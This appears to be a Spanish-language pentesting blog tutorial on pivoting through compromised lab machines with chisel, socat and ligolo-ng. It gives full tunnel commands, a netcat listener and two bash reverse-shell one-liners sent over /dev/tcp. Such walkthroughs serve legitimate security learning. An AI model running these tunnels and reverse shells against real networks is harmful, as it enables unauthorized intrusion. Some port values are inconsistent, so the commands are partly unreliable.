Post

Metodos de pivoting y herramientas

portada

Que es el pivoting

El pivoting es una técnica utilizada en el ámbito de la seguridad informática y el hacking ético que permite a un atacante o a un pentester acceder a redes o sistemas que de otro modo estarían fuera de su alcance. Esto se logra aprovechando un sistema comprometido para redirigir el tráfico hacia otros sistemas dentro de la misma red o hacia redes internas.

Metodos de pivoting y port forwarding

El port forwarding es una técnica que permite redirigir el tráfico de un puerto específico en un sistema comprometido hacia otro sistema o puerto. Esto se puede hacer utilizando herramientas como ssh o socat chisel ligolo metasploit.

Metodo manual con chisel y socat

Chisel es una herramienta que permite crear túneles TCP y redirigir el tráfico a través de un sistema comprometido. Socat es una herramienta similar que también permite redirigir el tráfico entre diferentes sockets.

Entrando en materia dejamos claro que vamos a hacer un reverse port forwarding, es decir, vamos a redirigir el todo el tráfico desde un puerto en la máquina comprometida hacia un puerto en nuestra máquina atacante.

“Esto nos permitirá acceder a servicios que están detrás de un firewall o NAT, como bases de datos, servidores web, etc. o maquinas en otro segmento de red”

Diagrama de red con ips

Diagrama de red con ips

Tengamos claro que chisel nos abre un camino de ida pero no de vuelta , para poder ver desde la maquina2 a la maquina atacante debemos lanzar una instancia de socat en la maquina 1.

Empzamos lanzando un chisel reverse en la maquina atacante.

1
./chisel server --reverse --port 11111

Esto nos permite escuchar conexiones entrantes en el puerto 11111 de la máquina atacante.

Ahora en la maquina 1 debemos lanzar un chisel client que se conecte al servidor chisel de la maquina atacante y redirija el puerto todo el trafico de la maquina 1 al puerto 11111 de la maquina atacante.

1
./chisel client <IP_MAQUINA_ATACANTE>:11111 R:socks

Esto crea un túnel que redirige el todo tráfico de la máquina 1 al puerto 11111 de la máquina atacante , lo cual nos crea un proxy SOCKS en la máquina atacante.

Chisel

Editamos /etc/proxychains.conf para que use el proxy SOCKS que hemos creado con chisel.

Configurate el foxyproxi si es necesario si no tira con proxichains desde la terminal.Muchas tools topo feroxbuster … tienen opcion para usar un proxy

En este punto podemos ver la maquina dos pero ella no nos ve a nosotros vamos que no podemos mandarnos un revshell, para ello deberiamos crearnos una instacia de socat.

Para tal proposito corremos socat en la maquina 1 que redirija el puerto X de la maquina 1 al puerto que tengamos en escucha al nc en la maquina atacante y desde la maquina dos mandar la revshell a la maquina 1 al puerto X que es donde escucha y reenvia el trafico al puerto de la maquina atacante.

Dicho esto es lo mismo que debemos hacer para poder alcanzar la maquina 3, un socat en la maquina 1 y un chisel client en la maquina 2 , esto nos creara un proxy que nos permitira alcanzar la maquina 3

Maquina 1:

1
./socat tcp-l:33333,fork,reuseaddr tcp:192.168.0.103:11111

Maquina 2:

1
./chisel client 20.20.20.2:33333 R:55555:socks

Esto redirige el tráfico del puerto 55555 de la máquina 2 al puerto 33333 de la máquina 1, que a su vez redirige al puerto 11111 de la máquina atacante. Pero pasa como antes la Maquina 3 no ve a la maquina atacante. Lo que hasta ahora tenemos es que ya alcanzamos la maquina 3 , si todo a ido bien.Debemos ver lo siguiente en chisel server que esta en la maquina atacante.

proxy2

Ahora si para completar el pivoting al 100% y poder mandarnos una revshell desde la maquina 3 a la maquina atacante hemos de crear varias instancias de socat una en cada maquina intermedia que redirija el trafico de la maquina 3 a la maquina 2 y de la maquina 2 a la maquina 1 y de la maquina 1 a la maquina atacante.

Maquina atacante:

1
nc -lvnp 1190

Maquina 1:

1
./socat tcp-l:44444,fork,reuseaddr tcp:192.168.0.103:1190

Ese comnando queda a la escucha en el puerto 44444 de la maquina 1 y redirige el trafico al puerto 1190 de la maquina atacante y en la maquina atacante hemos de tener netcat escuachando en dicho puerto

Maquina 2:

1
./socat tcp-l:44444,fork,reuseaddr tcp:20.20.20.2:44444

Esto redirige el tráfico del puerto 44444 de la máquina 2 al puerto 44444 de la máquina 1.

Maquina 3:

1
bash -c 'exec bash -i &>/dev/tcp/30.30.30.2/44444 <&1'

Esto manda una revshell a la maquina atacante a traves de la maquina 2 y la maquina 1. Pivoting completo con chisel y socat por mas maquinas que haya en medio el proceso es el mismo, creamos un socat en cada maquina intermedia que redirija el trafico al puerto de la maquina atacante y un chisel client que redirija el trafico de la maquina intermedia al puerto de la maquina atacante para que no cree un proxy SOCKS y podamos acceder a la maquina final.

Ligolo-ng

Ligolo-ng es una herramienta de pivoting que permite crear túneles TCP y redirigir el tráfico a través de un sistema comprometido. Es similar a Chisel pero con algunas características adicionales.

Es de tipo proxy y permite redirigir el tráfico de un puerto específico en un sistema comprometido hacia otro sistema o puerto. Ligolo-ng es especialmente útil para acceder a servicios que están detrás de un firewall o NAT.

Usando ligolo-ng

Para usar ligolo-ng, primero debemos instalarlo en la máquina atacante y en la máquina comprometida. Luego, podemos iniciar un servidor ligolo-ng en la máquina atacante y un cliente o agent en cada máquina comprometida. Mejor vamos al ejemplo que se nos entiende mejor.

Diagrama de red con ips

Diagrama de red con ips

El mismo que antes

En la maquina atacante

Para empezar en la maquina atacante lanzamos el ligolo-ng server que queda a la escucha en el puerto 11601 el que es por defecto en ligolo-ng.

1
./proxy --selfcert

Esto inicia el servidor ligolo-ng y genera un certificado autofirmado para la comunicación segura entre el cliente y el servidor.

ligolo-ng server

Si nos fijamos vemos que se que a la escucha esperando comunicacion desde cualquier ip.

Antes de ir a la maquina1 , debemos configurar el interfaz de red para que ligolo-ng pueda redirigir el tráfico para esto en nnuestra maquina atacante crearemos un nuevo interfaz.

Habra que crear uno para cada proxy o salto ,mas adelante se ve

1
2
3
    sudo ip tuntap add user $USER mode tun ligolo
    sudo ip link set dev ligolo up          
    sudo ip route add 20.20.20.0/24 dev ligolo

Esto crea un nuevo interfaz de red llamado ligolo y lo configura para redirigir el tráfico hacia la red que hayamos declarod en el interfaz, en este caso 20.20.20.0/24 que es la maquina2.

En la maquina1

Hemos de transferirnos el agente para ligolo-ng a la maquina 1, una vez transferido lo lanzamos con el siguiente comando:

1
./agent -connect 192.168.0.103:11601 -ignore-cert

Esto nos connecta al servidor ligolo-ng en la máquina atacante y nos permite redirigir el tráfico a través de la máquina 1.

ligolo-ng agent

Llegados hasta aqui hemos de regresar a la maquina atacante y ver las sesiones activas y darle a start a la sesion que hemos creado con el agente de la maquina 1. Dentro del propio proxy ejecutamos y controlamos los tunneles que hemos creado con ligolo-ng.

maquina atacante

1
2
session
start

Esto nos crea el primer tunnel y nos permite ver la maquina dos pero no podremos ni mandarnos una revshell,ahora vamos a crear un listener dentro del proxy en el agente de la maquina 1 que redirija el trafico del puerto 8080 de la maquina 1 al puerto 8080 de la maquina atacante.

1
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:8080 -tcp

Esto crea un listener en el puerto 8080 de la máquina 1 que redirige el tráfico al puerto 8080 de la máquina atacante para de ese modo poder transferirnos ficheros. Igual hariamos para una RV pero con nc escunchando en el puerto 8080 de la maquina atacante.

listener

Ahora ya podemos transferirnos el agente de la maquina atacante a la maquina 2 por medio del tunnel , con el fichero transferido y como hay una tercera maquina que queremos alcanzar debemos crear un nuevo interfaz de red para la maquina 2.

1
2
3
    sudo ip tuntap add user $USER mode tun ligolo2
    sudo ip link set dev ligolo2 up
    sudo ip route add 30.30.30.0/24 dev ligolo2

Esto crea un nuevo interfaz de red llamado ligolo2 y lo configura para redirigir el tráfico hacia la red que hayamos declarado en el interfaz, en este caso 30.30.30.0/24 que es la maquina3.

Para poder lanzar el agente en la maquina 2 y que alcanze nuestro proxy debemos crear otro listener en la maquina uno pero esta vez que redirija el trafico hacia el puerto 11601 que es el de ligolo.

1
listener_add --addr 0.0.0.0:11601 --to 10.10.10.1:11601 --tcp

Ahora ya podemos lanzar el agente en la maquina 2 que se conectara al proxy de la maquina 1 y redirigira el trafico hacia la maquina atacante.

En la maquina 2

1
./agent -connect 20.20.20.2:11601 -ignore-cert

Ahora volvemos a la maquina atacante y vemos que tenemos una nueva sesion activa, la de la maquina 2. Primero debemos activar la interfaz ligolo2

1
2
session #ELEGIR LA DEL AGENTE DE LA MAQUINA 2
start --tun ligolo2

Ahora ya vemos la maquina 3 y debemos de conseguir mandarnos una revshell desde la maquina 3 a la maquina atacante, para ello debemos crear un listener en la maquina 2 que redirija el trafico del puerto 44444 de la maquina 2 al puerto 44444 de la maquina 1 y esta a su vez lo mande a la atacnte donde estara nc a la escucha en 44444.

En el agente de la maquina dos

1
listener_add --addr 0.0.0.0:44444 --to 20.20.20.2:44444 --tcp

En la 1 lo mismo pero cambia la ip

1
listener_add --addr 0.0.0.0:44444 --to 10.10.10.1:44444 --tcp

Ahora ya podemos mandar una revshell desde la maquina 3 a la maquina atacante.

En la maquina 3

1
bash -c 'exec bash -i &>/dev/tcp/30.30.30.2/12345 <&1'

Ponganse a la escucha en la maquina atacante

Hasta aqui ligolo , puede ser un poco mas complejo de enterder al hacer las tareas por atras pero es mucho mas limpio y ordenado que tirar de chisel y socat, mas practica me falta con ligolo pero me gusto bastante.

En breve practicare con metasploit y sus modulos de pivoting que son muy buenos y nos permiten hacer lo mismo que con ligolo-ng pero con una interfaz grafica y mas facil de usar o eso dicen.

Muchas gracias por llegar hasta aqui , difundan lo que aprendan y recuerden que la seguridad es cosa de todos.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.